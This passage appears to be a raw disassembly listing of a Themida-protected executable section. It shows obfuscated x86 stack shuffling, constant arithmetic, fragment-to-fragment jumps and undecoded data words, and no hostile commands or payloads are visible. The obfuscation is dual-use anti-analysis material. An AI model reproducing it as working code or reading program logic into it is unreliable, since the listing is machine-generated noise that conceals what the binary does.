dup(0FFh) ; --------------------------------------------------------------------------- loc_53FE2F: ; CODE XREF: Themida_:0053A5A3j mov [esp], ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ecx push ebp push esi mov esi, 785E5B06h jmp loc_53FE56 ; --------------------------------------------------------------------------- loc_53FE50: ; CODE XREF: Themida_:00541517j pop ebx jmp loc_53EC42 ; --------------------------------------------------------------------------- loc_53FE56: ; CODE XREF: Themida_:0053FE4Bj mov ebp, 785E5B07h sub ebp, esi mov esi, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_539FD1 ; --------------------------------------------------------------------------- dw 0E689h dd 4C681h, 6DE90000h db 91h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53FE7B: ; CODE XREF: Themida_:005412FAj mov edi, 74EB7B00h shl edi, 8 inc edi sub edi, 0CB5485E2h sub eax, edi pop edi pop edx shl eax, cl push 2ABAh mov [esp], ebx mov ebx, 46D37B20h add ebx, 0B92C84DFh push edi mov edi, 570425Eh jmp loc_53D459 ; --------------------------------------------------------------------------- dw 24B3h dd 0E904E3C0h, 0FFFFBF04h, 0C7C1EF81h, 0FA29E360h, 89685E5Fh dd 89000056h, 74FF2414h, 8F5A0424h, 19E92404h, 66FFFFBDh dd 0CD89665Bh, 0FF7E75E9h db 0FFh ; --------------------------------------------------------------------------- loc_53FEE1: ; CODE XREF: Themida_:0053B04Fj add ecx, 4 xchg ecx, [esp] pop esp push edi mov edi, esp sub esp, 4 jmp loc_541701 ; --------------------------------------------------------------------------- loc_53FEF6: ; CODE XREF: Themida_:0053F67Ej mov dh, [esp] add esp, 2 xor dh, 0FCh xor dh, 22h add dh, 0ECh sub bl, 1Ch add bl, dh add bl, 1Ch pop edx add bl, al push ecx mov cl, 0BEh xor cl, 0Ah add cl, 7Fh sub bl, cl pop ecx push ecx push 50F7h mov [esp], ebx mov bl, 27h jmp loc_53F17B ; --------------------------------------------------------------------------- dd 894635BDh, 8BEF897Ah, 0C481242Ch, 4, 0FF93CBE9h, 243C33FFh dd 33243C31h, 815C243Ch, 4C3h, 0BA8BE900h, 48FFFFFh, 24248B24h dd 24043166h, 53FDE99Ch, 0CB81FFFFh, 18206B36h, 0E905EBC1h dd 0FFFF83E7h, 0DEF6BEB6h, 0CEFECEFEh, 0C004EEC0h, 0B45008EEh dd 8E4C056h, 158FE9h, 5FFD2900h, 505DEE29h, 0F7F71B8h dd 1C0835Bh, 0FFC18EE9h, 5DEE29FFh, 0FFF02958h, 9CE92434h dd 66FFFF9Ch, 3166D387h, 3366241Ch, 3166241Ch, 5866241Ch dd 24043166h, 24043366h, 24043166h, 0FF5392E9h, 80C781FFh dd 12B5677h, 80EF81D7h, 8B2B5677h, 5BE92414h, 55FFFFE6h dd 0FFF7DCE9h, 0E6C15CFFh, 0E9C63104h, 99Eh, 0BA525D54h dd 4, 835AD501h, 2C8704EDh, 0AE95C24h, 0C1FFFFEFh, 0C28307E2h dd 7004E901h, 0F789FFFFh, 13FBE9h db 0 ; --------------------------------------------------------------------------- loc_540021: ; CODE XREF: Themida_:0053FA09j pop edx pop ebp not edx push ebx mov ebx, 8C2400EAh xor edx, ebx jmp loc_537B8F ; --------------------------------------------------------------------------- dw 0CF29h dd 43E8EF81h, 8759051Bh, 248B243Ch, 55CCE924h, 5659FFFFh dd 42474FFh, 24048F5Eh, 240C895Ch, 0B137B252h, 2CC180DFh dd 47C180h, 47B353D1h, 0E95BD928h, 0FFFF6E1Bh, 0E905E6C1h dd 0FFFFB9CDh ; --------------------------------------------------------------------------- loc_540074: ; CODE XREF: Themida_:00538563j sub esp, 4 mov [esp], edx jmp loc_53B293 ; --------------------------------------------------------------------------- dw 0C89h dd 50595424h, 0FFBDC8E9h, 240487FFh, 24048F5Ch, 8924248Bh dd 9C502414h, 0FFA13CE9h, 287B2CFFh, 307368F0h, 14890000h dd 80F2B224h, 0D00089F2h, 5124148Bh, 0E1E9E189h db 9Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5400BF: ; CODE XREF: Themida_:00536386j mov [esp], edx mov edx, 79D9266Ah push edx push ebx mov ebx, 107B4B78h mov edx, ebx pop ebx add [esp+8], edx pop edx jmp loc_53E5FE ; --------------------------------------------------------------------------- db 5Ah dd 0E9h, 59054000h, 0F740C91Ah, 0A31EE9D8h, 2C8BFFFFh dd 0E1895124h, 4C181h, 0C1810000h, 4, 5C240C87h, 74E4B850h dd 0B951255Ch, 59160A20h, 0FFEE2CE9h, 0EAE958FFh db 90h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54011B: ; CODE XREF: Themida_:0053BFD1j mov ecx, esp add ecx, 4 add ecx, 4 push ecx push dword ptr [esp+4] pop ecx jmp loc_5365AF ; --------------------------------------------------------------------------- loc_540131: ; CODE XREF: Themida_:00537C36j push 6D6070C5h pop esi shr esi, 4 shr esi, 7 neg esi add esi, 0DAC12h mov eax, esi pop esi jmp loc_53F2E4 ; --------------------------------------------------------------------------- loc_54014D: ; CODE XREF: Themida_:005358EEj add edx, 2D2737E9h add edx, 6F9E6A02h sub edx, 2C9581E4h jmp loc_537D36 ; --------------------------------------------------------------------------- dd 83768h, 241C8900h, 4BBh, 535E2D00h, 0D80122C9h, 0FFB0BBE9h dd 4C281FFh, 53000000h, 2BBh, 6937E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54018E: ; CODE XREF: Themida_:0053C794j push ebx mov ebx, 2040565Ch add [esp+4], ebx push dword ptr [esp] pop ebx push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp pop eax sub eax, 2040565Ch push 4FBCh mov [esp], edx push edi jmp loc_539633 ; --------------------------------------------------------------------------- db 0B9h dd 69454F8Fh, 0C159C889h, 0E8D107E0h, 4EE54535h, 58C2296Bh dd 0FFC623E9h, 0B0C781FFh, 1116B15h, 1316E9CFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5401EA: ; CODE XREF: Themida_:00536FA1j push dword ptr [esp] pop eax add esp, 4 or ebx, ebx jnz loc_53E174 push 7BA0h mov [esp], eax jmp loc_53D219 ; --------------------------------------------------------------------------- db 58h, 52h, 0E9h dd 0FFFFA57Bh ; --------------------------------------------------------------------------- loc_540210: ; CODE XREF: Themida_:005373F2j sub edi, 77205281h jmp loc_53D047 ; --------------------------------------------------------------------------- loc_54021B: ; CODE XREF: Themida_:0053AFD5j add ecx, ebp pop ebp add ecx, 4 xchg ecx, [esp] mov esp, [esp] shr ecx, 7 push dword ptr [edi+1Ch] push dword ptr [esp] mov eax, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp push edi push esi mov esi, 35682669h mov edi, esi pop esi xor edi, 14D47670h push ecx mov ecx, 7DC4136Bh add edi, ecx jmp loc_53AEF4 ; --------------------------------------------------------------------------- db 51h dd 0C1815954h, 4, 8704E983h, 895C240Ch, 8C68241Ch, 89000023h dd 87BD242Ch, 3117033Ch, 5D04246Ch, 582434FFh, 5BD568h dd 475E900h, 0D0E90000h, 68FFFF50h, 64B2h, 68240C89h, 63B60D9h dd 0F1814959h, 63B60DAh, 43E8C781h, 7FE9051Bh db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5402B3: ; CODE XREF: Themida_:0053C6EFj add dword ptr [esp], 4 jmp loc_53C2AE ; --------------------------------------------------------------------------- byte_5402BF db 66h ; DATA XREF: Themida_:00535300o dd 68240C8Bh, 1706h, 0FF6BDCE9h db 0FFh ; --------------------------------------------------------------------------- loc_5402CD: ; CODE XREF: Themida_:0053EF84j add esp, 4 xor ebp, edx pop edx and eax, ebp push dword ptr [esp] jmp loc_53F080 ; --------------------------------------------------------------------------- loc_5402E0: ; CODE XREF: Themida_:00535EA9j push ebx mov ebx, 3F30537Eh jmp loc_536FF8 ; --------------------------------------------------------------------------- db 5Ch dd 5224048Fh, 0FF68E9E9h, 0E9C801FFh, 0FFFF980Ch, 0E9243C87h dd 60h, 6974C281h, 0EA810D52h, 1B8C0AE4h, 12EFB951h, 0CA013E9Bh dd 83DA2959h, 348904ECh, 1D72BE24h, 46465B4Dh, 6A99E94Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54032E: ; CODE XREF: Themida_:0053EF7Cj xor ecx, [esp] jmp loc_536114 ; --------------------------------------------------------------------------- dw 0E089h dd 69C0E951h, 0E789FFFFh, 4C781h, 0EF810000h, 4, 0E9243C87h dd 0FFFF6AB0h, 5BDBE953h db 2 dup(0FFh) word_54035A dw 34FFh ; DATA XREF: Themida_:005350B4o dd 0E9505924h, 0FFFF5D8Ah, 0B513E95Ch db 2 dup(0FFh) word_54036A dw 0E9ACh ; DATA XREF: Themida_:00535090o dd 0FFFF94C4h dword_540370 dd 66D830ACh, 66285768h, 0E9240C89h, 0FFFF53CAh, 81DBF743h ; DATA XREF: Themida_:00535188o dd 5267D5C3h, 92C3810Ah, 89553A11h, 241C8BDEh, 142AE9h dd 58C68900h, 8101C683h, 0E05ECDE6h, 61F68100h, 29706910h dd 67C0E9F3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5403B2: ; CODE XREF: Themida_:0053BF96j push 71C1h mov [esp], eax push ebx mov ebx, 80h mov eax, ebx mov ebx, [esp] jmp loc_53578B ; --------------------------------------------------------------------------- loc_5403CA: ; CODE XREF: Themida_:0053591Ej xor edx, edi pop edi or edx, 36C1567Ch xor edx, 0DB3329Dh push ebp jmp loc_53A0A8 ; --------------------------------------------------------------------------- byte_5403DF db 8Bh ; DATA XREF: Themida_:005350ECo dd 0DCE92404h, 1000008h, 21C781D7h, 8B284E70h, 0C4812414h dd 4, 2C781h, 28680000h, 8900002Dh, 74FF243Ch, 2CE90424h dd 5100000Ah, 2B9h, 8BCE0100h, 0C483240Ch, 24343304h, 33243431h dd 248B2434h, 0BFE3E924h db 2 dup(0FFh) word_54042E dw 8766h ; DATA XREF: Themida_:005352ECo dd 68572404h, 171h, 83242489h, 5F042404h, 4326B850h, 0E8D136AFh dd 57A19735h, 58C7011Bh, 0FF4FF6E9h, 241489FFh, 617A68h dd 0D045E900h, 55B9FFFFh, 133B679h, 0D98959CBh, 0FFDB54E9h dd 241487FFh, 243C895Ch, 6543E954h, 8159FFFFh, 4ECh, 243C8900h dd 42474FFh, 81243C8Bh, 4C4h, 24048F00h, 48B665Ch, 0C3C3E924h dd 0EB86FFFFh, 32241C30h, 1C30241Ch, 0EE24E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5404B2: ; CODE XREF: Themida_:0053608Cj push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] push esi mov esi, 4 and ecx, esi jmp loc_536CCA ; --------------------------------------------------------------------------- dw 0D8BAh dd 0E97F9679h, 0FFFF7ADEh ; --------------------------------------------------------------------------- loc_5404D4: ; CODE XREF: Themida_:0053BE50j pop edx mov ecx, [esp] add esp, 4 push edx push eax jmp loc_53FD9B ; --------------------------------------------------------------------------- word_5404E2 dw 34FFh ; DATA XREF: Themida_:00535220o dd 0AE2DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5404EA: ; CODE XREF: Themida_:00538F09j add ebx, 744323AEh and ebx, 1E070F3Ah dec ebx not ebx sub ebx, 0EFF8F0EAh add edi, ebx pop ebx push 689Ah mov [esp], ebx mov ebx, 9245864h shr ebx, 8 xor ebx, 4A96671Bh shl ebx, 8 sub ebx, 9F4342FEh jmp loc_53E2B4 ; --------------------------------------------------------------------------- dw 0C281h dd 6AD70239h, 0F2EA815Dh, 8364FD48h, 2C8904ECh, 9396BD24h dd 0EA817EB1h, 3BD708C3h, 0C281EA01h, 3BD708C3h, 0FF6D1BE9h db 0FFh ; --------------------------------------------------------------------------- loc_540551: ; CODE XREF: Themida_:0053FA25j push edi jmp loc_5353BB ; --------------------------------------------------------------------------- db 1 dd 0B9515EF0h, 2, 0B471BC05h, 0FD8BE955h, 0FE01FFFFh, 0EFFFE95Fh dd 0EC81FFFFh, 4, 0C441E954h, 0E958FFFFh, 1185h, 3153E681h dd 89E91824h, 54FFFF8Fh, 4C18159h, 57000000h, 8904EC83h dd 2ABA2414h, 0E9728671h, 0FFFF7A6Eh, 80C9C780h, 0B151D2EFh dd 5C1CE9F5h db 2 dup(0FFh) word_5405B6 dw 31ADh ; DATA XREF: Themida_:00535268o dd 0C6BE56D8h, 0E92AAE01h, 0FFFFD5BAh, 0C106E2C1h, 0F28106E2h dd 6392FE7Fh, 0FFB74CE9h, 0F28159FFh, 74643C3Fh, 34FFD189h dd 8869E924h, 0EBC1FFFFh, 0A03EE902h, 0CE30FFFFh, 7E6C059h dd 0FFCE11E9h, 81E789FFh, 4C7h, 4EF8300h, 0E9243C87h, 0FFFFA0C0h dd 0EC83525Ah, 241C8904h, 0C78061B7h, 8EFC0A0h, 0CFFEC7FEh dd 8014C780h, 0FB68F3EFh, 89000044h, 1EE92404h db 98h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_540633: ; CODE XREF: Themida_:0053AF04j pop edi push edx mov edx, 4 add ecx, edx pop edx xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] add esp, 4 jmp loc_535642 ; --------------------------------------------------------------------------- db 0F7h, 0DBh, 0E9h dd 0FFFFDC09h, 237CBF57h, 0FE2923F9h, 0FFBC29E9h, 199B68FFh dd 1C890000h, 55E38924h, 257B68h, 240C8900h, 4B9h, 0A3C0E900h dd 148BFFFFh, 4C48124h, 81000000h, 0E0EFCCF5h, 0E9E8291Eh dd 0FFFFB51Eh ; --------------------------------------------------------------------------- loc_540698: ; CODE XREF: Themida_:00535656j shl eax, 7 jmp loc_537BB7 ; --------------------------------------------------------------------------- loc_5406A0: ; CODE XREF: Themida_:0053C4F2j push esi jmp loc_53F3D7 ; --------------------------------------------------------------------------- dw 0C680h dd 8AE9531Dh, 57FFFF89h, 0CA5014BFh, 0A2C7811Eh, 0E948C8E1h dd 0FFFFB0D2h, 875EF501h, 0FE9242Ch, 0BDFFFF5Dh, 2, 0E95DE801h dd 0FFFFD5ABh ; --------------------------------------------------------------------------- loc_5406D8: ; CODE XREF: Themida_:0053CC15j mov ebp, 44DD536Eh shr ebp, 7 inc ebp push edi mov edi, 3C0772ADh xor edi, 661E47CBh jmp loc_53E0FA ; --------------------------------------------------------------------------- loc_5406F2: ; CODE XREF: Themida_:0053E4E5j dec esi jmp loc_53CF7F ; --------------------------------------------------------------------------- dd 925D34BFh, 0FFE94F2Bh, 89FFFFD8h, 0E0892404h, 405h dd 4BD5500h, 1000000h, 0FF505DE8h, 0E9042474h, 0FFFFB5C5h dd 2424895Ch, 4240483h, 0CCEE95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54072E: ; CODE XREF: Themida_:0053C04Bj xor ebp, edx sub ebp, 80E03FEh mov edx, ebp mov ebp, [esp] push 76BEh jmp loc_53DC73 ; --------------------------------------------------------------------------- db 0BEh, 2Dh, 5Ch dd 4C051241h, 122831Ah, 1A4C2DF0h, 348B2283h, 910AE924h dd 0C381FFFFh, 22425536h, 53892D5Ah, 0D8296FCDh, 0CD538905h dd 0EC815B6Fh, 4, 0B9240C89h, 258153D3h, 2463BF57h, 95E9567Eh dd 81FFFF86h, 0BF8EB0C1h, 244F89A2h, 0E92434FFh, 0FFFF96EFh ; --------------------------------------------------------------------------- loc_54079C: ; CODE XREF: Themida_:0053CD39j shl bl, 3 sub bl, 17h add al, bl pop ebx mov ebx, [esp] add esp, 4 add al, 0D7h add al, bl sub al, 0D7h push edx jmp loc_53F780 ; --------------------------------------------------------------------------- db 0BAh dd 2BB157BAh, 6850EA81h, 0F2814FE0h, 558238F2h, 24348752h dd 24348746h, 6EAC15Ah, 0FCE9DAF7h, 55FFFFB3h, 0AB6046BDh dd 0E5F58138h, 0E960156Fh, 0FFFFC82Eh, 4C4815Eh, 1000000h dd 5F04247Ch, 592434FFh, 4C481h, 0E9810000h, 7E436B5Fh dd 0FFE898E9h, 4EC81FFh, 0E9000000h, 0FFFF5536h, 5DE7EF81h dd 0E7C13BD3h, 2EFC107h, 0D0EF8147h, 81C011C1h, 5A1C29CFh dd 9FBD5501h, 8177E636h, 0EF5119E5h, 0AEF58143h, 29179A46h dd 0C7815DEFh, 751D22F1h, 0F2671305h, 0C12D7Ch, 0F8293254h dd 0FFDFDCE9h db 0FFh byte_54085D db 0FFh, 34h, 24h ; DATA XREF: Themida_:005352E0o dd 4EC8358h, 54241C89h, 9FB8505Bh, 0E9058844h, 0FFFFD5C6h dd 4245401h, 24148B5Ah, 4C481h, 0EC830000h, 24348904h dd 0FF735CE9h, 0FCB450FFh, 0F480C4FEh, 80D4F613h, 0E58866F4h dd 0B992E958h, 0E943FFFFh, 0FFFF7731h ; --------------------------------------------------------------------------- loc_5408A8: ; CODE XREF: Themida_:0053AEEFj mov esi, 0D550EAAh or edx, esi pop esi push eax mov eax, 0E2AEF156h add edx, eax pop eax and eax, edx pop edx shr eax, 12h xor eax, ecx xor eax, ebp jmp loc_53CBFA ; --------------------------------------------------------------------------- dd 0EF81DF29h, 0BF54B55h, 243C875Bh, 0E924248Bh, 0FFFF6352h dword_5408DC dd 240C8B66h, 0FF56E0E9h, 81DF01FFh, 4D54F1EFh, 0A016E943h ; DATA XREF: Themida_:005350C0o dd 148BFFFFh, 4C48324h, 0BAE9D7F7h, 29FFFFD8h, 8F1CE9F2h dd 5B66FFFFh, 6859C800h, 3D53h, 0B5240C89h, 0C19DE919h db 2 dup(0FFh) word_54091A dw 8B66h ; DATA XREF: Themida_:00535180o dd 50682404h, 89000061h, 8B54242Ch, 0C483242Ch, 64E95004h dd 5DFFFFC0h, 0BA52h, 0F2290000h, 7DE9D687h, 8BFFFFEDh dd 7E9241Ch, 81FFFF5Fh, 4C4h, 24143100h, 0E9241433h, 0FFFFEB4Ah dd 241C8966h, 27DE68h, 576CE900h, 3D68FFFFh, 89000068h dd 50BB241Ch, 310B6274h, 0E9515BDFh, 0FFFF9BA3h, 9560E95Bh dd 0E5C1FFFFh, 78ED8107h, 89D6AE15h, 0DC54E9E9h, 0F031FFFFh dd 0F750C631h, 96582414h, 8102E6C1h, 9B7BC1F6h, 0BAC6810Dh dd 56C92B9h, 8CF21ACh, 0AC2DF001h, 8B08CF21h, 89572434h dd 4C781E7h, 81000000h, 4C7h, 74FF5700h, 6E90424h db 71h, 2 dup(0FFh) byte_5409D7 db 8Bh ; DATA XREF: Themida_:005351F0o dd 89572404h, 4EC81E7h, 89000000h, 0AA68240Ch, 597C990Dh dd 344DC981h, 0F9E9023Eh, 81FFFFECh, 331F99E3h, 0C38112h dd 102AA50h, 0F5015BDEh, 49E9525Eh, 68FFFF89h, 66DCh, 0E9240C89h dd 0FFFF4947h, 8704C483h, 248B2404h, 24043124h, 0F860E99Ch dd 0FE5BFFFFh, 50CDFEC5h, 0FF560CE9h, 0C5BD66FFh, 0EE896601h dd 0B8E9515Dh, 5000008h, 271C2113h, 0FF9619E9h, 0CEC281FFh dd 0E9619114h, 0FFFFE2AEh, 0FF240489h, 8B042474h, 0C4812404h dd 4, 5C24048Fh, 81241C89h, 4ECh, 243C8900h, 0B8505650h dd 9AA474Dh, 0FFC3DFE9h, 4EE95FFFh db 6Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_540A8F: ; CODE XREF: Themida_:00540CFAj pop dword ptr [esp] jmp loc_53E486 ; --------------------------------------------------------------------------- loc_540A97: ; CODE XREF: Themida_:0053823Cj pop esp push 1A55h mov [esp], eax push 43172DCFh mov eax, [esp] add esp, 4 jmp loc_53EC93 ; --------------------------------------------------------------------------- dd 0FF48AEE9h, 0E9D030FFh, 0FFFFBF1Eh, 2C5BFA88h, 4D000F2h dd 98E5E9F2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_540ACA: ; CODE XREF: Themida_:00538846j push dword ptr [esp] pop eax add esp, 4 push ecx jmp loc_53EAA5 ; --------------------------------------------------------------------------- db 8Bh dd 0C4812404h, 4, 5704C783h, 42474FFh, 24048F5Fh, 0FF24248Bh dd 34FF2434h, 24048B24h, 5204C483h, 0C281E289h, 4, 0FF71F0E9h dd 243C89FFh, 0FFB3F6E9h db 0FFh byte_540B11 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:005352A0o dd 0D259669Dh, 0E99C241Ch, 0FFFF4843h ; --------------------------------------------------------------------------- loc_540B20: ; CODE XREF: Themida_:0053B928j xor edi, [esp] jmp loc_536358 ; --------------------------------------------------------------------------- dd 0E9240C87h, 0FFFF4912h dword_540B30 dd 0E932FF66h, 0FFFF5DC1h, 0B8505197h, 7182E83h, 2D04E0C1h ; DATA XREF: Themida_:00535100o dd 5EA81900h, 0F805D8F7h, 8988F626h, 0C82958C1h, 8A803559h dd 0C709AA92h, 6EFC158h, 2598F781h, 0F801035Fh, 2C0835Fh dd 31240433h, 4332404h, 81FEE924h, 1489FFFFh, 0E1895124h dd 4C181h, 0E9810000h, 4, 5C240C87h, 0FF5A9EE9h, 8DE954FFh dd 57FFFFBEh, 1A5806BFh, 5FFE314Bh, 0FF56C9E9h, 5AF000FFh dd 0FFDEC4E9h, 0E9E089FFh, 155h ; --------------------------------------------------------------------------- loc_540BB8: ; CODE XREF: Themida_:0053BAD0j sub esi, edi pop edi mov ebx, esi mov esi, [esp] add esp, 4 mov ebp, ebx pop ebx push ebx jmp loc_53DB1E ; --------------------------------------------------------------------------- loc_540BCC: ; CODE XREF: Themida_:00539F2Ej push dword ptr [esp] jmp loc_53686F ; --------------------------------------------------------------------------- loc_540BD4: ; CODE XREF: Themida_:0053ECA4j push ebx push 3ADE5BD9h pop ebx and ebx, 7F4777E6h sub ebx, 28920FCFh xor ebx, 52A3663Fh mov edx, ebx pop ebx sub eax, edx pop edx and ecx, eax push dword ptr [esp] jmp loc_53E10B ; --------------------------------------------------------------------------- db 31h, 1Ch, 24h dd 0E9241C33h, 0FFFFD415h, 8F240489h, 0A6E94047h db 0CEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_540C13: ; CODE XREF: Themida_:00536A42j sub ecx, 4 xchg ecx, [esp] jmp loc_53CDAC ; --------------------------------------------------------------------------- db 89h, 0E7h, 51h dd 4B9h, 0B1EF8100h, 144EB6Bh, 0CF04E9CFh, 305CFFFFh, 6DB3E9EBh dd 62BEFFFFh, 0F76C3220h, 0EDBD55D6h, 81678B16h, 4ECh dd 24048900h, 8231D0B8h, 1AC13525h, 0BE0D1ECBh, 354EEA7Ch dd 0C687121h, 43399605h, 5E0C12Bh, 40F98705h, 8BC52169h dd 0C4812404h, 4, 13AE94Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_540C86: ; CODE XREF: Themida_:00538222j add esp, 4 mov edx, esi mov esi, [esp] add esp, 4 and eax, edx mov edx, [esp] add esp, 4 or edx, eax shl edx, 1 jmp loc_541224 ; --------------------------------------------------------------------------- aHA db '^h³A',0 dw 8900h dd 0B0E92404h db 46h, 2 dup(0FFh) byte_540CB3 db 66h ; DATA XREF: Themida_:005350BCo dd 8324048Bh, 48904ECh, 0B5E95424h, 52FFFF4Ah, 0FF7CE0E9h dd 5EBC1FFh, 1066E381h, 3EE971FCh, 81FFFF9Ah, 2A0AF6F3h dd 6FF3812Ch, 89DF4FFCh, 0F7015BDEh, 0FFD46DE9h, 24048BFFh dd 0FFB40DE9h db 0FFh ; --------------------------------------------------------------------------- loc_540CF5: ; CODE XREF: Themida_:0053EBC9j push dword ptr [esp+4] pop ebp jmp loc_540A8F ; --------------------------------------------------------------------------- db 29h dd 0D9C781F7h, 573C5940h, 0FF770DE9h, 405FFh, 4050000h dd 87000000h, 535C2404h, 4BBh, 8BD80100h, 0C481241Ch, 4 dd 31240433h, 4332404h, 24D35C24h, 4625E924h, 0C781FFFFh dd 4, 3304C783h, 3C31243Ch, 243C3324h, 0FFD9E9E9h, 8E8C0FFh dd 0C5008204h, 59E82858h, 0C6047634h, 0E999C580h, 0FFFFAE72h dd 4EAAED81h, 3EE96821h db 52h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_540D77: ; CODE XREF: Themida_:0053C40Cj and ebp, 6A717F1Ch neg ebp shl ebp, 2 push edx jmp loc_53F0D1 ; --------------------------------------------------------------------------- dd 0F24248Bh, 9C51C8AFh, 0FF45CEE9h, 8092B6FFh, 0E95092C6h dd 0FFFFD1A4h, 27ABE56h, 0F4E92419h db 99h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_540DAB: ; CODE XREF: Themida_:0053FD45j mov [esp], esp jmp loc_539278 ; --------------------------------------------------------------------------- loc_540DB3: ; CODE XREF: Themida_:0053EBEDj dec eax xor eax, 19BB70BFh sub esi, eax jmp loc_536F2D ; --------------------------------------------------------------------------- dd 0ED81DDF7h, 7C693E58h, 0FF9EE94Dh, 0F789FFFFh, 5AC7815Eh dd 29FE7734h, 1FE95FF8h, 89FFFF8Eh, 8152240Ch, 4ECh, 240C8900h dd 587B6068h, 0C1815965h, 0F5A8C261h, 8159CA89h, 0E4241BC2h dd 5DC2815Ah, 810F8076h, 4E2ECEEAh, 24E9425Bh, 4BFFFFD4h dd 23C3E381h, 0C14B02B9h, 0F38104E3h, 356D4203h, 15BDE01h dd 8068E9EEh, 0B951FFFFh, 4, 0FE9CB01h, 5FFFFFD0h, 0FF71C6E9h db 0FFh ; --------------------------------------------------------------------------- loc_540E41: ; CODE XREF: Themida_:00537019j pop ecx shl esi, 4 add esi, 0FFFFFFFFh jmp loc_5414AB ; --------------------------------------------------------------------------- dd 104C483h, 0C3315EF0h, 0FFA64CE9h, 0E78957FFh, 4C781h dd 0C7810000h, 4, 5C243C87h, 60AC68h, 24048900h, 0BA52E089h dd 630816A3h, 4304CA81h, 0F2E9776Ah, 89FFFFDAh, 0A0682404h dd 83000003h, 248904ECh, 24048324h, 24048F04h, 4240481h dd 8B000000h, 0C4812404h, 4, 3E9BBA52h, 0C2810280h, 15FD6ED2h dd 0FFEEFEE9h, 449DE9FFh, 75BFFFFFh, 0C129A319h, 0DFF706EFh dd 8101EF83h, 6A0A5DF7h, 5C75E9AFh db 2 dup(0FFh) word_540EDE dw 0F766h ; DATA XREF: Themida_:00535174o dd 0E99C241Ch, 0FFFF447Bh, 0E9241C8Bh, 0FFFF6572h, 4C481h dd 4010000h, 78E99C24h db 46h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_540EFF: ; CODE XREF: Themida_:00541095j add edx, 4 jmp loc_537C8F ; --------------------------------------------------------------------------- db 33h dd 58E92434h, 83FFFFC0h, 1C8704C3h, 0EC835C24h, 241C8904h dd 15B6BF57h, 7C312693h, 43E90424h, 50FFFF7Bh, 387A0EB8h dd 3CE95559h, 5EFFFFC1h, 8B241C87h, 51522424h, 0B142B353h dd 5BD92824h, 0E999E180h, 0FFFFD440h, 0D5F7DDF7h, 589EC581h dd 0E5810E48h, 504F47D5h, 6326F581h, 7AE921A8h, 80FFFFB6h dd 0E830F3F5h, 51240C8Bh, 0C181E189h, 4, 4C181h, 0C870000h dd 13685C24h, 89000060h, 0E5E9241Ch, 89FFFF94h, 0BF57241Ch dd 4F9A15A3h, 0A0FFE957h, 0E789FFFFh, 4C781h, 0C7810000h dd 4, 5C243C87h, 0FF43AAE9h, 302D05FFh, 0E95352D4h, 0FFFFE8DBh dd 37346852h, 0E95A3BD3h, 0FFFF92B8h, 4C281h, 14870000h dd 0E8E95C24h, 68FFFF9Eh, 6B736B6Bh, 0FF47D5E9h, 4C481FFh dd 0E9000000h, 0FFFF436Fh, 8B5AD001h, 0C4832414h, 0BF04E904h db 2 dup(0FFh) word_541002 dw 52ACh ; DATA XREF: Themida_:00535194o dd 0E97DB450h, 0FFFFB604h ; --------------------------------------------------------------------------- loc_54100C: ; CODE XREF: Themida_:0053A69Cj add edi, edx pop edx xchg edi, [esp] pop esp or eax, eax jnz loc_53AB2A push 3D50h mov [esp], esi push ebp jmp loc_536D92 ; --------------------------------------------------------------------------- db 29h, 0EBh, 5Dh dd 8B1C5F09h, 5F68241Ch, 0E900007Eh, 0FFFF99F6h, 8B2434FFh dd 0C483242Ch, 4C48304h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi mov esi, 4 add ebp, esi pop esi sub ebp, 4 jmp loc_537556 ; --------------------------------------------------------------------------- db 0B8h dd 43F05FFCh, 4EBC68h, 240C8900h, 4523D5B9h, 8BC80942h dd 0C483240Ch, 162D4804h, 0E9D66533h, 633h, 8904EC83h dd 6EE9241Ch db 0B3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54108F: ; CODE XREF: Themida_:0053652Ej add edx, 4 jmp loc_540EFF ; --------------------------------------------------------------------------- dw 5553h dd 0F81D6CBDh, 9DFCE955h, 0BB53FFFFh, 4, 1C8BD901h, 4C48324h dd 4C181h, 0C870000h, 24248B24h, 0FFAEF7E9h, 942D5DFFh dd 5597806h, 433D0344h, 442DD029h, 83433D03h, 148904ECh dd 694BA24h, 0DE95978h db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_5410E7: ; CODE XREF: Themida_:0053C0B6j add edi, 19587104h push edx mov edx, 8526693h shl edx, 3 shl edx, 6 push edi jmp loc_53CE48 ; --------------------------------------------------------------------------- db 66h dd 2246C81h, 81660E27h, 7302246Ch, 6C81663Bh, 4A440224h dd 246C0166h, 44816602h, 4A440224h, 24448166h, 663B7302h dd 0B9665155h, 89660E27h, 240C8BCDh, 0E904C483h, 0FFFFCA1Eh dd 815BD901h, 4E9h, 240C8700h, 9233E95Ch, 42DFFFFh, 0E9000000h dd 0FFFF5F22h, 504C483h, 4, 8EC4E956h db 2 dup(0FFh) word_541166 dw 34FFh ; DATA XREF: Themida_:00535244o dd 2434FF24h, 0E924148Bh, 0FFFF81FCh, 24348B54h, 0E904C483h dd 